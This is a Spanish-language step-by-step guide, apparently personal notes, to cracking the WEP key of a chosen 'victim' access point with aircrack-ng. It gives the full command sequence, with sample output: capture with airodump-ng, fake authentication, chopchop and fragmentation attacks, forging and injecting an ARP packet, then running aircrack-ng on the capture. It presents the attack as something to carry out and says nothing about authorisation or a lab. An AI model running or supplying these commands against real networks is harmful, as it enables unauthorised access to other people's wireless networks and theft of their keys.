aircrack
(Las opciones que pongo entre comillas han de ir sin ellas al escribir 
el comando)
a)
Terminal 1:
Levantar el interface y lanzar airodump. Las capturas se guardan en el 
fichero "capt"

sudo ifconfig rausb0 up
sudo airodump-ng -w capt rausb0

(capt es el nombre del archivo con extensión .cap donde se almacenarán 
las capturas)

Seleccionar una victima y volver a lanzar airodump en el canal de ésta:
sudo airodump-ng -w capt --channel "nº de canal victima" rausb0

b)
Terminal 2:
Autentificarse en el AP de la victima:

sudo aireplay-ng -1 0 -a "mac_victima" rausb0

00:06:15  Sending Authentication Request (Open System)
00:06:15  Authentication successful
00:06:15  Sending Association Request
00:06:15  Association successful :-)

c)
Terminal 3:
Lanzar ataque 4 y esperar a ver si el AP escupe algun paquete xor

sudo aireplay -4 -a "mac_victima" -h "mi_mac" rausb0

Cuando aparezca un paquete saldrá algo así:

Read 8 packets...

        Size: 72, FromDS: 1, ToDS: 0 (WEP)

              BSSID  =  00:01:38:CF:91:BB
          Dest. MAC  =  01:00:5E:00:00:01
         Source MAC  =  00:01:38:CF:60:94

        0x0000:  0842 0000 0100 5e00 0001 0001 38cf 91bb  
.B....^.....8...
        0x0010:  0001 38cf 6094 8062 cc21 2200 1f62 b372  
..8.`..b.!"..b.r
        0x0020:  723b 5d37 4610 4fea b0da 6414 2d90 aaa3  
r;]7F.O...d.-...
        0x0030:  a096 ab28 7832 c214 85bb 9c73 a4bb 5406  
...(x2.....s..T.
        0x0040:  4876 be5f 2826 68cd                      Hv._(&h.

Use this packet ?

Contestar "y"

Si no pilla un xor lanzar el ataque 5:
(si lo pilla pasar al punto d)

 aireplay-ng -5 -b  "mac_victima" -h "mi_mac" rausb0

 0x0000:  0842 0000 0100 5e00 0001 0001 38ca baa7  .B....^.....8...
        0x0010:  0001 38ca 345f 0047 8d6d 3600 4d18 2b8d  
..8.4_.G.m6.M.+.
        0x0020:  0e5f 3441 8aed 611c 86a6 e341 4acd 8709  
._4A..a....AJ...
        0x0030:  dbef 4828 6440 a30a 95a1 79aa eafe 9ce4  
..H(d@....y.....
        0x0040:  817e 106c 1db8 7717                      .~.l..w.

Use this packet ?  ( contestar "y" )

Saving chosen packet in replay_src-0101-001954.cap
00:20:44  Data packet found!
00:20:44  Sending fragmented packet
00:20:44  Got RELAYED packet!!
00:20:44  Trying to get 384 bytes of a keystream
00:20:44  Got RELAYED packet!!
00:20:44  Trying to get 1500 bytes of a keystream
00:20:44  Got RELAYED packet!!
Saving keystream in fragment-0101-002044.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes 
keystream

d)
Ahora hay que crear un paquete para inyectar, usando el archivo 
fragment....xor:
 
packetforge-ng -0 -a "mac_victima"  -h "mi_mac" -k 192.168.1.100 -l 
192.168.1.1 -y fragment-0101-002044.xor -w arp

Si está bien el comando saldra: Wrote packet  to: arp

Las opciones -l y -k no sé si son necesarias
-y "nombre del paqute xorg guardado anteriormente"
-w "nombre que le vayamos a dar al paquete para inyectar"

e)
Ahora toca inyectar el paquete:

 aireplay-ng -2 -r arp rausb0

 Size: 68, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  00:01:38:CA:BA:A7
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:18:84:80:2C:A5

        0x0000:  0841 0201 0001 38ca baa7 0018 8480 2ca5  
.A....8.......,.
        0x0010:  ffff ffff ffff 8001 a26d 3600 66e5 0fb1  
.........m6.f...
        0x0020:  1a22 9b19 fceb b86f 1bec aa21 69f0 5fff  
.".....o...!i._.
        0x0030:  d2f8 af41 9e41 8b41 fe73 40df e1a5 3ac6  
...A.A.A.s@...:.
        0x0040:  cc17 5784                                ..W.

Use this packet ? ( Contestar "y" )

Saving chosen packet in replay_src-0101-002626.cap


Y los data en airodump empiezan a subir a toda velocidad.

f)
Cuando el número de paquetes ronde los 40.000 lanzamos desde otro 
terminal:

aircrack-ng capt.cap
o bien
aircrack-ptw capt.cap

(En realidad el archivo de capturas tendrá la forma: capt-01.cap)
Si no pasa nada es que son aún pocos los paquetes capturados, esperamos 
a que aumenten y se repite la operación hasta que escupa la clave wep.